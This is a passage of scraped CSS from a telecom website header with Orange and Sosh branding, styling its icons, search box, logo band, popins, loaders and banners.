.band.bandeau-alerte.neutral .icon-wrapper .icon { color: rgb(0, 0, 0); }

.band a.logo { height: auto; width: auto; display: inline-flex; text-align: center; align-items: center; justify-content: center; padding: 0px; font-size: inherit; }

.band a.logo img { display: block; min-height: 1.875em; width: auto; min-width: 1.875em; margin: 0px; }

.band a.logo:focus-visible { outline: rgb(255, 255, 255) solid 0.125em !important; outline-offset: 0.25em !important; }

.band.gp a.logo img.small { height: 1.875em; }

.band.gp a.logo img.large { height: 3.125em; }

.band.sosh a.logo { margin-top: 0px; margin-bottom: 0px; padding: 0px 8px; }

.band.sosh a.logo img { height: 3.0625em; }

@media (max-width: 64em) {
  .band.sosh a.logo { margin: auto; }
}" data-scrapbook-adoptedstylesheet-1=".screen-reader-only { position: absolute; padding: 0px; overflow: hidden; clip: rect(0px, 0px, 0px, 0px); white-space: nowrap; border: 0px; font-size: 0.01px; }

.hidden { display: none !important; }

body.une-arche elcos-header, body.une-arche elcos-footer-zone { --body-has-arch: 1 ; }

elcos-header { --mobile-phone-portrait-breakpoint: 30em; --mobile-768-breakpoint: 48em; --mobile-breakpoint: 64em; --tiny-desktop-1100-breakpoint: 68.75em; --small-desktop-1280-breakpoint: 80em; }

.gp :focus-visible { outline-color: rgb(241, 110, 0) !important; }

.sosh :focus-visible { outline-color: rgb(255, 255, 255) !important; }

@font-face { font-family: &quot;o-HelveticaNeue&quot;; src: url(&quot;HelvNeue55_W1G.eot&quot;) format(&quot;embedded-opentype&quot;), url(&quot;HelvNeue55_W1G.woff2&quot;) format(&quot;woff2&quot;), url(&quot;HelvNeue55_W1G.woff&quot;) format(&quot;woff&quot;), url(&quot;HelvNeue55_W1G.ttf&quot;) format(&quot;truetype&quot;), url(&quot;HelvNeue55_W1G.svg&quot;) format(&quot;svg&quot;); font-style: normal; font-weight: normal; font-display: swap; }

@font-face { font-family: &quot;o-HelveticaNeue&quot;; src: url(&quot;HelvNeue75_W1G.eot&quot;) format(&quot;embedded-opentype&quot;), url(&quot;HelvNeue75_W1G.woff2&quot;) format(&quot;woff2&quot;), url(&quot;HelvNeue75_W1G.woff&quot;) format(&quot;woff&quot;), url(&quot;HelvNeue75_W1G.ttf&quot;) format(&quot;truetype&quot;), url(&quot;HelvNeue75_W1G.svg&quot;) format(&quot;svg&quot;); font-style: normal; font-weight: bold; font-display: swap; }

@font-face { font-family: &quot;Sosh Medium&quot;; src: url(&quot;&quot;) format(&quot;woff2&quot;), url(&quot;&quot;) format(&quot;woff&quot;); font-style: normal; font-weight: 400; }

@font-face { font-family: &quot;Sosh Medium&quot;; src: url(&quot;&quot;) format(&quot;woff2&quot;), url(&quot;&quot;) format(&quot;woff&quot;); font-style: normal; font-weight: 700; }

@font-face { font-family: &quot;Sosh Bold&quot;; src: url(&quot;&quot;) format(&quot;woff2&quot;), url(&quot;&quot;) format(&quot;woff&quot;); font-style: normal; font-weight: 700; }

.sosh * { font-family: &quot;Sosh Medium&quot;, Arial, sans-serif; font-weight: 400; }

@font-face { font-family: &quot;elcos-embedded-icons&quot;; src: url(&quot;&quot;) format(&quot;woff&quot;); font-style: normal; font-weight: normal; }

.icon::before, .icon::after { font-family: &quot;elcos-embedded-icons&quot;; font-style: normal; font-weight: normal; display: inline-block; width: 1em; text-align: center; font-variant: normal; text-transform: none; -moz-osx-font-smoothing: grayscale; }

.icon::before { content: var(--icon); }

.icon.after::before { content: none; }

.icon.after::before { content: none; }

.icon.after::after { content: var(--icon); }

.icon.arrow-right { --icon: &quot;&quot;; }

.icon.confirmation-tick { --icon: &quot;&quot;; }

.icon.error { --icon: &quot;&quot;; }

.icon.info { --icon: &quot;&quot;; }

.icon.warning { --icon: &quot;&quot;; }

.gp .icon.accessibilite { --icon: &quot;&quot;; }

.gp .icon.accessories { --icon: &quot;&quot;; }

.gp .icon.assistance { --icon: &quot;&quot;; }

.gp .icon.avantage-client { --icon: &quot;&quot;; }

.gp .icon.avatar { --icon: &quot;&quot;; }

.gp .icon.bons-plans { --icon: &quot;&quot;; }

.gp .icon.boutique { --icon: &quot;&quot;; }

.gp .icon.burger { --icon: &quot;&quot;; }

.gp .icon.bvld { --icon: &quot;&quot;; }

.gp .icon.calendar { --icon: &quot;&quot;; }

.gp .icon.contact { --icon: &quot;&quot;; }

.gp .icon.contacts { --icon: &quot;&quot;; }

.gp .icon.contrat { --icon: &quot;&quot;; }

.gp .icon.delete { --icon: &quot;&quot;; }

.gp .icon.equipement-tv { --icon: &quot;&quot;; }

.gp .icon.exit { --icon: &quot;&quot;; }

.gp .icon.facebook { --icon: &quot;&quot;; }

.gp .icon.fibre { --icon: &quot;&quot;; }

.gp .icon.forum { --icon: &quot;&quot;; }

.gp .icon.instagram { --icon: &quot;&quot;; }

.gp .icon.internet { --icon: &quot;&quot;; }

.gp .icon.keypad { --icon: &quot;&quot;; }

.gp .icon.link { --icon: &quot;&quot;; }

.gp .icon.linkedin { --icon: &quot;&quot;; }

.gp .icon.livebox { --icon: &quot;&quot;; }

.gp .icon.livraison { --icon: &quot;&quot;; }

.gp .icon.mail { --icon: &quot;&quot;; }

.gp .icon.maison-protegee { --icon: &quot;&quot;; }

.gp .icon.manette { --icon: &quot;&quot;; }

.gp .icon.moment-de-vie { --icon: &quot;&quot;; }

.gp .icon.musique { --icon: &quot;&quot;; }

.gp .icon.news { --icon: &quot;&quot;; }

.gp .icon.notification { --icon: &quot;&quot;; }

.gp .icon.options { --icon: &quot;&quot;; }

.gp .icon.orange-accompagne { --icon: &quot;&quot;; }

.gp .icon.parametre { --icon: &quot;&quot;; }

.gp .icon.parental-control { --icon: &quot;&quot;; }

.gp .icon.payement2 { --icon: &quot;&quot;; }

.gp .icon.payment { --icon: &quot;&quot;; }

.gp .icon.phone-sim { --icon: &quot;&quot;; }

.gp .icon.phone { --icon: &quot;&quot;; }

.gp .icon.pin-geoloc { --icon: &quot;&quot;; }

.gp .icon.pinterest { --icon: &quot;&quot;; }

.gp .icon.replay { --icon: &quot;&quot;; }

.gp .icon.reseaux { --icon: &quot;&quot;; }

.gp .icon.retour { --icon: &quot;&quot;; }

.gp .icon.search { --icon: &quot;&quot;; }

.gp .icon.securite { --icon: &quot;&quot;; }

.gp .icon.service5g { --icon: &quot;&quot;; }

.gp .icon.sim { --icon: &quot;&quot;; }

.gp .icon.svod { --icon: &quot;&quot;; }

.gp .icon.sync { --icon: &quot;&quot;; }

.gp .icon.telephone { --icon: &quot;&quot;; }

.gp .icon.tiktok { --icon: &quot;&quot;; }

.gp .icon.tv { --icon: &quot;&quot;; }

.gp .icon.vod { --icon: &quot;&quot;; }

.gp .icon.voicemail { --icon: &quot;&quot;; }

.gp .icon.x-com { --icon: &quot;&quot;; }

.gp .icon.youtube { --icon: &quot;&quot;; }

.sosh .icon.aide { --icon: &quot;&quot;; }

.sosh .icon.avatar { --icon: &quot;&quot;; }

.sosh .icon.burger { --icon: &quot;&quot;; }

.sosh .icon.camion { --icon: &quot;&quot;; }

.sosh .icon.chevron-double { --icon: &quot;&quot;; }

.sosh .icon.cloche { --icon: &quot;&quot;; }

.sosh .icon.deconnexion { --icon: &quot;&quot;; }

.sosh .icon.delete { --icon: &quot;&quot;; }

.sosh .icon.double-underline { --icon: &quot;&quot;; }

.sosh .icon.facture { --icon: &quot;&quot;; }

.sosh .icon.sim { --icon: &quot;&quot;; }

.icon.logo-orange-small::before { content: &quot;&quot;; background-image: url(&quot;&quot;); width: 1.125em; height: 1.125em; background-repeat: no-repeat; }

.button-comp { padding: 9px 20px 5px; cursor: pointer; text-decoration: none; white-space: nowrap; color: rgb(255, 255, 255); border: 2px solid rgb(255, 255, 255); background-color: rgb(0, 0, 0); font-size: inherit; font-weight: inherit; outline: none; outline-offset: 4px !important; transition: outline-offset 0.15s ease-in-out !important; }

.button-comp:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 0px !important; }

.button-comp:active { color: rgb(0, 0, 0); outline: none; background-color: rgb(255, 255, 255); }

button.as-link { border: medium; background: unset; padding: 0px; font-family: inherit; }

a, button.as-link { display: inline-block; clear: both; cursor: pointer; text-decoration: none; color: rgb(255, 255, 255); outline: none; outline-offset: 6px !important; transition: outline-offset 0.15s ease-in-out !important; }

a.sosh, button.as-link.sosh { color: rgb(0, 0, 0); }

a:focus-visible, button.as-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 2px !important; }

a:hover, a:focus-visible, button.as-link:hover, button.as-link:focus-visible { text-decoration: underline; color: rgb(204, 204, 204); }

a:hover.sosh, a:focus-visible.sosh, button.as-link:hover.sosh, button.as-link:focus-visible.sosh { color: rgb(0, 121, 128); text-decoration: none; font-weight: 700; }

a:active, button.as-link:active { text-decoration: underline; color: rgb(241, 110, 0); }

a:active.sosh, button.as-link:active.sosh { color: rgb(38, 130, 142); }

a em, button.as-link em { color: rgb(255, 121, 0); font-style: normal; }

a.link-icon-text { font-size: 1em; font-weight: 700; }

a.link-icon-text::before { margin-right: 0.375em; vertical-align: middle; font-size: 1.875em; }

i { font-style: normal; }

.morpheus-search { font-family: &quot;o-HelveticaNeue&quot;, Helvetica, Arial, sans-serif; color: rgb(255, 255, 255); margin: 0px; padding: 0.9375em; background: rgb(0, 0, 0); border: medium; width: 19.25em; }

.morpheus-search.mobile { position: absolute; left: 0px; right: 0px; top: 100%; width: 100%; z-index: 9999; padding: 0px; }

.morpheus-search form { position: relative; display: flex; align-items: center; background: rgba(255, 255, 255, 0.1); height: 2.375em; border-bottom: 1px solid rgb(255, 255, 255); }

.morpheus-search form .before { pointer-events: none; position: absolute; left: 0.9375em; }

.morpheus-search form .before::before { font-size: 1.0625em; }

.morpheus-search form button { display: none; position: absolute; right: 0px; border: 0px; padding: 0px; width: 1.125em; height: 1.125em; cursor: pointer; background: none; color: rgb(204, 204, 204); outline: none; outline-offset: 8px !important; transition: outline-offset 0.15s ease-in-out !important; }

.morpheus-search form button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 4px !important; }

.morpheus-search form button[type=&quot;submit&quot;] { right: 1.25em; }

.morpheus-search form button i::before { font-size: 1.125em; }

.morpheus-search form .search-input { font-family: inherit; font-size: 0.875em; background: none; border: 0px; height: 100%; width: 100%; color: rgb(255, 255, 255); outline: none !important; cursor: text; padding: 0px 0px 0px 3.35714em; }

.morpheus-search form .search-input::placeholder { color: rgb(204, 204, 204); font-weight: 400; opacity: 1; }

.morpheus-search form button[type=&quot;reset&quot;], .morpheus-search form button[type=&quot;submit&quot;] { padding: 0.4em; justify-content: center; align-items: center; }

.morpheus-search form .clear[type=&quot;reset&quot;] { display: none; }

.morpheus-search form button[type=&quot;reset&quot;] { right: 1.25em; }

.morpheus-search form button[type=&quot;reset&quot;] i { font-size: 1.25em; }

.morpheus-search form button[type=&quot;reset&quot;][aria-hidden=&quot;true&quot;] { display: none !important; }

.morpheus-search form .spotlight-hit-results { display: none; position: absolute; list-style: none; top: calc(100% + 1px); right: 0px; left: 0px; margin: 0px; padding: 0.625em 0px; z-index: 9999; overflow: auto; border: medium; background: rgb(39, 39, 39); }

.morpheus-search form .spotlight-hit-results .spotlight-hit-results-title { color: rgb(255, 255, 255); padding: 5px 15px; font-size: 16px; font-weight: 700; line-height: 22px; border-bottom: 1px solid rgb(51, 51, 51); min-height: 2.375em; display: flex; align-items: center; }

@media (max-width: 64em) {
  .morpheus-search form .spotlight-hit-results .spotlight-hit-results-title { min-height: 3.0625em; }
}

.morpheus-search form .spotlight-hit-results li:first-of-type + .spotlight-hit-result { display: none; visibility: hidden; height: 0px; }

.morpheus-search form .spotlight-hit-results .spotlight-hit-result { line-height: initial; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; cursor: pointer; color: rgb(255, 255, 255); display: flex; align-items: center; min-height: 2.4375em; }

.morpheus-search form .spotlight-hit-results .spotlight-hit-result i.search.icon { position: absolute; left: 0.875em; font-size: 1.25em; pointer-events: none; }

.morpheus-search form .spotlight-hit-results .spotlight-hit-result a { overflow: hidden; text-overflow: ellipsis; box-sizing: border-box; vertical-align: middle; text-decoration: none; width: 100%; font-size: 1em; padding: 0.3125em 2.8125em; color: rgb(255, 255, 255); }

.morpheus-search form .spotlight-hit-results .spotlight-hit-result a em { font-weight: normal; color: inherit; }

.morpheus-search form .spotlight-hit-results .spotlight-hit-result a em + span { font-weight: bold; }

.morpheus-search form .spotlight-hit-results .spotlight-hit-result a img { display: block; float: left; margin-right: 0.625em; width: 2.5em; height: 3.375em; }

.morpheus-search form .spotlight-hit-results .spotlight-hit-result a p { display: block; margin: 0.125em 0px; font-weight: normal; color: rgb(170, 170, 170); }

.morpheus-search form .search-box-overlay { --offset-height: calc(100vh - 100%); position: absolute; left: 0px; right: 0px; background: rgb(39, 39, 39); z-index: 2; top: 100%; height: var(--offset-height); display: none; border-top: 1px solid rgb(255, 255, 255); box-sizing: border-box; }

.morpheus-search:focus-within, .morpheus-search.forced-open { background: rgb(39, 39, 39); border-bottom: 1px solid rgb(255, 255, 255); }

.morpheus-search:focus-within form, .morpheus-search.forced-open form { border: medium !important; }

.morpheus-search:focus-within form .close-mobile, .morpheus-search.forced-open form .close-mobile { display: block; position: unset; width: 1.5em; height: 1.5em; font-size: 16px; border: medium !important; outline: none !important; background: none; }

.morpheus-search:focus-within form button[type=&quot;submit&quot;], .morpheus-search:focus-within form .before, .morpheus-search.forced-open form button[type=&quot;submit&quot;], .morpheus-search.forced-open form .before { display: none; }

.morpheus-search:focus-within form .clear, .morpheus-search.forced-open form .clear { display: flex; }

.morpheus-search:focus-within form .spotlight-hit-results, .morpheus-search.forced-open form .spotlight-hit-results { display: block; }

.morpheus-search:focus-within form .search-box-overlay, .morpheus-search.forced-open form .search-box-overlay { display: block; }

@media (max-width: 64em) {
  .morpheus-search:focus-within, .morpheus-search.forced-open { height: 3.125em; padding: 0px; margin-bottom: 1.125em; }
  .morpheus-search:focus-within form, .morpheus-search.forced-open form { height: 100%; width: 100%; }
  .morpheus-search:focus-within form .close-mobile, .morpheus-search.forced-open form .close-mobile { border-right: 1px solid rgb(51, 51, 51) !important; margin: 3px 0px 3px 15px; padding-right: 15px; width: unset; height: unset; }
  .morpheus-search:focus-within form .close-mobile i, .morpheus-search.forced-open form .close-mobile i { outline: none; outline-offset: 4px !important; transition: outline-offset 0.15s ease-in-out !important; }
  .morpheus-search:focus-within form .close-mobile i::before, .morpheus-search.forced-open form .close-mobile i::before { transform: translate(-1px, 1px) rotate(180deg); }
  .morpheus-search:focus-within form .close-mobile:focus-visible i, .morpheus-search.forced-open form .close-mobile:focus-visible i { outline: rgb(241, 110, 0) solid 2px !important; outline-offset: 2px !important; }
  .morpheus-search:focus-within form .search-input, .morpheus-search.forced-open form .search-input { padding-left: 0.875em; padding-right: 3em; font-size: 1em; }
  .morpheus-search:focus-within form .spotlight-hit-results, .morpheus-search.forced-open form .spotlight-hit-results { padding-top: 0px; max-height: var(--offset-height); }
  .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result { border-bottom: 1px solid rgb(51, 51, 51); min-height: 3.0625em; display: flex; align-items: center; padding: 0px; }
  .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result a, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result a { padding: 0.3125em 0.9375em 0.3125em 2.8125em !important; line-height: 1.375em; }
  .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:hover, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:focus-within, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:focus, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:focus-visible, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result[data-active=&quot;true&quot;], .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:hover, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:focus-within, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:focus, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:focus-visible, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result[data-active=&quot;true&quot;] { background: rgb(85, 85, 85); }
  .morpheus-search:focus-within form .search-box-overlay, .morpheus-search.forced-open form .search-box-overlay { display: block; }
}

@media (max-width: 68.75em) {
  .morpheus-search { width: 15em; }
}

@media (max-width: 64em) {
  .morpheus-search { width: auto; }
}

@media (min-width: 64.0625em) {
  .morpheus-search { height: 2.875em; padding: 0px; border-bottom: 1px solid rgb(255, 255, 255); }
  .morpheus-search form { height: 100%; width: auto; border: 1px solid rgba(0, 0, 0, 0); }
  .morpheus-search form button { color: rgb(255, 255, 255); }
  .morpheus-search form .close-mobile { display: none; }
  .morpheus-search form .search-input { padding: 0.857143em 2.14286em 1em 3.35714em; }
  .morpheus-search form button[type=&quot;reset&quot;] { right: 3.3125em; }
  .morpheus-search form .spotlight-hit-results { border: 1px solid rgb(85, 85, 85); top: 100%; }
  .morpheus-search form .spotlight-hit-results .spotlight-hit-result a { padding: 0.4375em 0.9375em 0.625em 2.8125em; color: rgb(0, 0, 0); }
  .morpheus-search form .search-box-overlay { display: none !important; }
  .morpheus-search:focus-within { border: medium; }
  .morpheus-search:focus-within form { background: rgb(255, 255, 255); border-color: rgb(85, 85, 85); }
  .morpheus-search:focus-within form button[type=&quot;reset&quot;], .morpheus-search:focus-within form button[type=&quot;submit&quot;] { display: flex; color: rgb(0, 0, 0); }
  .morpheus-search:focus-within form .before, .morpheus-search:focus-within form .close-mobile { display: none !important; }
  .morpheus-search:focus-within form .search-input { padding: 0.84375em 4.5em 0.84375em 0.9375em; font-weight: 700; color: rgb(0, 0, 0); border: 1px solid rgb(85, 85, 85); }
  .morpheus-search:focus-within form .search-input::placeholder { color: rgb(51, 51, 51); }
  .morpheus-search:focus-within form .spotlight-hit-results { background-color: rgb(255, 255, 255); border: 1px solid rgb(85, 85, 85); padding-top: 0.5em; padding-bottom: 0.5em; }
  .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-results-title { color: rgb(85, 85, 85); font-size: 0.875em; line-height: 1.25em; border: medium; }
  .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:hover, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:focus-within, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:focus, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:focus-visible, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result[data-active=&quot;true&quot;] { background: rgb(244, 244, 244); }
  .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result .icon.search { color: rgb(0, 0, 0); }
  .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result a { padding: 0.3125em 2.8125em; font-size: 1em; line-height: 1.375em; }
}

.band { display: block; width: 100%; box-sizing: border-box; background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); font-family: o-HelveticaNeue, Arial, sans-serif; padding: 1.25em calc(50% - 41.25em); }

@media (max-width: 90em) {
  .band { padding: 1.25em 3.75em; }
}

@media (max-width: 80em) {
  .band { padding: 1.25em 3.4375em; }
}

@media (max-width: 64em) {
  .band { padding: 0.625em 2.9375em; }
}

@media (max-width: 48em) {
  .band { padding: 0.625em 1.6875em; }
}

@media (max-width: 30em) {
  .band { padding: 0.625em 0.9375em; }
}

.band.is-layer-open, .band.is-navigation-open, .band.is-overlay-visible { z-index: 99980; }

.band.is-layer-open.has-layer, .band.is-navigation-open.has-layer, .band.is-overlay-visible.has-layer { z-index: 99990; }

.band.is-layer-open.under-overlay, .band.is-navigation-open.under-overlay, .band.is-overlay-visible.under-overlay { z-index: 99800; }

.band.gp { background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); }

.band.sosh { background-color: rgb(38, 130, 142); color: rgb(255, 255, 255); padding-top: 0px; padding-bottom: 0px; min-height: 3.125em; }

.maze.modified { position: relative; width: 0px; height: 100%; overflow: visible; transform: translateX(0.5em); }

.maze.modified .tag { animation: 3s ease-in-out infinite pulse; }

.maze.modified .tag, .maze.modified .details { font-size: 0.625em; position: absolute; left: 0.5em; color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); border-radius: 1em; border: 0.2em solid rgb(255, 121, 0); padding: 0.1em 0.5em !important; }

.maze.modified:hover .tag, .maze.modified :hover .details { color: rgb(0, 0, 0); animation: none; }

.maze.modified .details { display: none !important; margin: 0px; padding: 0.1em 0.5em; }

.maze.modified:hover .tag { opacity: 0; }

.maze.modified:hover .details { display: block !important; }

.maze.modified.title::before { content: &quot;&quot;; display: block; position: absolute; top: 0px; right: 0px; width: 3em; height: 0.2em; background: linear-gradient(90deg, transparent 0%, rgb(255, 102, 0) 100%); animation: 3s ease-in-out infinite pulse; }

.maze.modified.title::after { content: &quot;&quot;; position: absolute; top: 0px; left: 0px; width: 0.2em; height: 2em; border-top-right-radius: 0.2em; background: linear-gradient(rgb(255, 102, 0) 0%, transparent 100%); animation: 3s ease-in-out infinite pulse; }

.maze.modified.tag { top: 1.2em; }

.maze.modified.tag ul.details { list-style-type: none; padding: 0.1em 0.5em; }

.maze.modified.tag ul.details li { padding: 0px; margin: 0px; opacity: 0.3; }

.maze.modified.tag ul.details li.changed { opacity: 1; }

.maze.modified.tag ul.details li label { color: rgb(127, 127, 127); margin-right: 0.3em; }

.maze.modified.url { top: 0px; }

@keyframes pulse {
  0% { opacity: 0.2; }
  100% { opacity: 1; }
}

@keyframes overlay-in {
  0% { opacity: 0; visibility: hidden; }
  1% { visibility: visible; }
  100% { visibility: visible; opacity: 0.5; }
}

@keyframes overlay-out {
  0% { visibility: visible; opacity: 0.5; }
  99% { visibility: visible; }
  100% { visibility: hidden; opacity: 0; }
}

.pos-marker { position: absolute; width: 0px; height: 0px; visibility: hidden; }

.overlay { position: fixed; inset: 0px; background-color: rgb(0, 0, 0); z-index: 99900; opacity: 0; visibility: hidden; animation: none; }

.overlay.is-active { opacity: 0; visibility: hidden; animation: 0.3s overlay-out; }

.overlay.is-active.is-shown { opacity: 0.5; visibility: visible; animation: 0.3s overlay-in; }

.band { display: block; width: 100%; box-sizing: border-box; background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); font-family: o-HelveticaNeue, Arial, sans-serif; padding: 1.25em calc(50% - 41.25em); }

@media (max-width: 90em) {
  .band { padding: 1.25em 3.75em; }
}

@media (max-width: 80em) {
  .band { padding: 1.25em 3.4375em; }
}

@media (max-width: 64em) {
  .band { padding: 0.625em 2.9375em; }
}

@media (max-width: 48em) {
  .band { padding: 0.625em 1.6875em; }
}

@media (max-width: 30em) {
  .band { padding: 0.625em 0.9375em; }
}

.band.is-layer-open, .band.is-navigation-open, .band.is-overlay-visible { z-index: 99980; }

.band.is-layer-open.has-layer, .band.is-navigation-open.has-layer, .band.is-overlay-visible.has-layer { z-index: 99990; }

.band.is-layer-open.under-overlay, .band.is-navigation-open.under-overlay, .band.is-overlay-visible.under-overlay { z-index: 99800; }

.band.gp { background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); }

.band.sosh { background-color: rgb(38, 130, 142); color: rgb(255, 255, 255); padding-top: 0px; padding-bottom: 0px; min-height: 3.125em; }

.layer { position: relative; }

.layer .popin { right: 50%; position: absolute; top: calc(100% + 0.3125em); z-index: 9998; box-shadow: rgba(0, 0, 0, 0.5) 0px 0px 5px; background: rgb(255, 255, 255); color: rgb(0, 0, 0); padding: 0.9375em; }

@media (max-width: 48em) {
  .layer .popin { padding: 1.6875em; top: 100%; }
}

@media (max-width: 30em) {
  .layer .popin { padding: 0.9375em; }
}

.layer .popin h1 { font-size: 1.25em; font-weight: bold; margin: 0px 0px 0.625em; padding: 0px; }

.layer .popin .close-button { color: rgb(0, 0, 0); position: absolute; top: 0.75em; right: 0.75em; cursor: pointer; background-color: rgba(0, 0, 0, 0); border: medium; font-size: 1.25em; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; }

.layer .popin .close-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; }

.layer[data-state=&quot;inactive&quot;] .popin { visibility: hidden; transform: translateX(0px); }

.layer[data-state=&quot;active&quot;] .popin { visibility: visible; transform: translateX(50%); }

@media screen and (max-width: 48em) {
  .layer { position: static; }
  .layer .popin { left: 0px; right: 0px; width: auto !important; min-width: auto !important; max-width: 100000000px !important; transform: translateX(0px) !important; }
}

.layer.keep-right .popin { transform: translateX(calc(var(--popin-overflow-right))); }

.sosh .layer .popin { box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 8px 0px; border-radius: 0.3125em; }

.sosh .layer .popin .close-button { font-size: 1em; outline-offset: 0.25em !important; }

.sosh .layer .popin .close-button:focus-visible { outline-color: rgb(222, 37, 84) !important; outline-offset: 0.0625em !important; }

.skeleton { position: unset; display: flex; overflow: hidden; background-color: rgb(38, 38, 38); margin: 10px; }

.skeleton::before { content: &quot;&quot;; width: 100%; inset: 0px; background: linear-gradient(90deg, rgb(38, 38, 38), rgb(31, 31, 31), rgb(38, 38, 38)); transform: translateX(-100%); animation: 1.25s infinite skeleton; }

.gp .skeleton { min-height: 1.875em; background-color: rgb(38, 38, 38); }

.gp .skeleton::before { background: linear-gradient(90deg, rgb(38, 38, 38), rgb(31, 31, 31), rgb(38, 38, 38)); }

.sosh .skeleton { min-height: 1.25em; background-color: rgb(242, 242, 242); }

.sosh .skeleton::before { background: linear-gradient(90deg, rgb(242, 242, 242), rgb(235, 235, 235), rgb(242, 242, 242)); }

@keyframes skeleton {
  0% { transform: translateX(-100%); }
  100% { transform: translateX(100%); }
}

.panel-button { position: relative; font-family: inherit; background-color: rgba(0, 0, 0, 0); border: 0px; display: inline-block; cursor: pointer; box-sizing: border-box; padding: 0px; text-align: center; font-size: inherit; justify-content: center; outline: none; outline-offset: 2px !important; transition: outline-offset 0.15s ease-in-out !important; }

.panel-button::before { display: inline-block; }

.panel-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -2px !important; }

.panel-button:hover, .panel-button:focus-visible { color: rgb(204, 204, 204); }

.panel-button:hover i::before, .panel-button:focus-visible i::before { color: rgb(204, 204, 204); }

.panel-button:active { color: rgb(241, 110, 0); }

.panel-button:active i::before { color: rgb(241, 110, 0); }

.gp .panel-button { font-weight: bold; color: rgb(255, 255, 255); min-height: 2.5em; min-width: 2.5em; }

.gp .panel-button::before { font-size: 1.1875em; line-height: 2.10526em; min-height: 2.10526em; font-weight: 400; font-variant: normal; }

@media screen and (max-width: 64em) {
  .gp .panel-button { min-height: 2em; min-width: 2em; }
}

.gp [data-state=&quot;active&quot;] > .panel-button.has-arrow::after { border-bottom-color: rgb(255, 255, 255); }

.sosh .panel-button { color: rgb(255, 255, 255); }

.sosh .panel-button::before { font-size: 1.75em; }

.sosh [data-state=&quot;active&quot;] > .panel-button.has-arrow::after { border-bottom-color: rgb(222, 37, 84); }

@media (max-width: 48em) {
  .sosh [data-state=&quot;active&quot;] > .panel-button.has-arrow::after { bottom: -0.9375em; }
}

[data-state=&quot;active&quot;] > .panel-button.has-arrow::after { content: &quot;&quot;; position: absolute; width: 0px; height: 0px; border-left: 0.375em solid rgba(0, 0, 0, 0); border-right: 0.375em solid rgba(0, 0, 0, 0); border-bottom-width: 0.375em; border-bottom-style: solid; bottom: -0.3125em; left: calc(50% - 0.375em); z-index: 10000; }

@media (max-width: 48em) {
  [data-state=&quot;active&quot;] > .panel-button.has-arrow::after { bottom: -0.375em; }
}

.zema-badge { position: fixed; right: 0.125em; top: 0.125em; padding: 0.125em 0.4375em 0.125em 1.25em; border-radius: 0.625em; border: 0.125em solid rgb(255, 102, 0); color: rgb(85, 85, 85); background-color: rgb(255, 255, 255); box-shadow: rgb(85, 85, 85) 0px 0px 0.625em; pointer-events: none; font-family: Arial, sans-serif; font-size: 0.875em; z-index: 100000000; transform-origin: right bottom 0px; transform: rotate(-90deg) translate(1.3125em, -0.125em); }

.zema-badge i { display: block; position: absolute; left: 0.4375em; top: calc(50% - 0.25em); color: rgb(85, 85, 85); width: 0.5em; aspect-ratio: 1 / 1; border-radius: 50%; background: rgb(255, 102, 0); box-shadow: rgb(255, 102, 0) 0px 0px 0px 0px; }

.zema-badge.loading i { animation: 1s infinite emit; }

.zema-badge.loaded { animation: 3s ease-in-out infinite alternate both pulse; }

.zema-badge.loaded i { background: rgb(0, 221, 0); }

.zema-badge.error i { animation: 0.1s ease-in-out infinite alternate both pulse; background: rgb(255, 69, 0); }

@keyframes emit {
  100% { box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 1.875em; }
}

@keyframes pulse {
  0% { opacity: 0.9; }
  100% { opacity: 0.2; }
}

.band.bandeau-recollecte { width: 100%; background-color: rgb(233, 247, 255); color: rgb(0, 0, 0); box-shadow: rgba(128, 128, 128, 0.27) 0px 0px 10px; position: relative; z-index: 10000000; display: flex; gap: 1.25em; align-items: center; }

@media screen and (max-width: 48em) {
  .band.bandeau-recollecte { position: fixed; bottom: 0px; flex-direction: column; align-items: center; gap: 1.25em; }
}

.band.bandeau-recollecte .message { position: relative; display: flex; flex-direction: column; margin-top: 0px; font-size: 15px; flex-grow: 2; }

@media screen and (min-width: 80em) {
  .band.bandeau-recollecte .message { flex-basis: 80%; }
}

.band.bandeau-recollecte .message h2 { display: flex; align-items: flex-start; margin-top: 0px; font-size: 16px; font-weight: bold; line-height: 20px; }

.band.bandeau-recollecte .message h2 i.icon.info::before { padding-right: 10px; color: rgb(0, 183, 255); font-size: xx-large; }

@media screen and (min-width: 80em) {
  .band.bandeau-recollecte .message h2 i.icon.info::before { left: -57px; }
}

.band.bandeau-recollecte .message h2 i.icon.arrow-right { display: none; }

@media screen and (max-width: 48em) {
